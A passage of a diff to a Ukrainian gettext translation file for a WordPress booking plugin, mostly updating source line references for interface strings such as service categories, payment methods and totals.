assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Категорії\"\n \n@@ -2068,9 +2058,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"Розділені комами слаґи або ID категорій, які будуть показані.\"\n \n@@ -2080,26 +2070,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"Категорії послуг\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"Показати кількість послуг?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"Показати опис?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"Батьківський елемент\"\n \n@@ -2107,14 +2097,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"Slug батьківського терміну або ID для отримання прямих дочірніх термінів.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"Виключити категорії\"\n \n@@ -2122,21 +2112,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"Розділені комами слаґи або ID категорій, які не будуть показані.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"Сховати пусті\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Глибина\"\n \n@@ -2144,14 +2134,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Показувати глибину дочірніх категорій.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Число\"\n \n@@ -2159,56 +2149,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Максимальна кількість категорій для відображення.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Назва терміну\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Слаг терміну\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"Ідентифікатор значення\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"Батьківський ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Кількість пов'язаних об'єктів\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Залишити порядок параметра \\\"IDs\\\"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Порядок терміну\"\n \n@@ -2216,35 +2206,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Список послуг\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Показувати вартість послуги.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Показувати тривалість послуги.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Показувати місткість послуги.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Показувати працівників послуги.\"\n \n@@ -2252,7 +2242,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Розділені комами слаґи або ID послуг які будуть показані.\"\n \n@@ -2260,7 +2250,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Розділені комами слаги або ID працівників які виконують ці послуги.\"\n \n@@ -2268,7 +2258,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Позначки\"\n \n@@ -2367,7 +2357,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Приховати терміни, не призначені жодним публікаціям.\"\n \n@@ -2625,10 +2615,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"Залишилось сплатити\"\n \n@@ -2848,11 +2838,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Клієнти\"\n@@ -2914,13 +2904,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Увесь день\"\n@@ -2929,12 +2919,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Видалити\"\n \n@@ -3041,7 +3031,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3352,11 +3342,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Вільне\"\n@@ -3441,33 +3431,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"Ви можете додати нове повідомлення журналу тут і натиснути Оновити, щоб зберегти його\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Купон\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"Зарезервовані послуги\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Деталі оплати\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"Ціна бронювання\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Бронювання #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4043,38 +4033,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"Сплатіть за допомогою своєї картки через Stripe. Використайте номер картки 4242424242424242 з CVC 123, дійсним терміном дії та випадковим 5-значним поштовим кодом для тестового платежу.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bancontact\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"SEPA Direct Debit\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5539,10 +5529,10 @@\n msgstr \"Редагувати бронювання\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"Здійснення бронювання...\"\n \n@@ -6255,168 +6245,168 @@\n msgstr \"Грудень\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"Номер телефону недійсний.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Ви будете перенаправлені на безпечну сторінку для завершення оплати.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Проміжний підсумок\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Купон: %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Загалом\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: 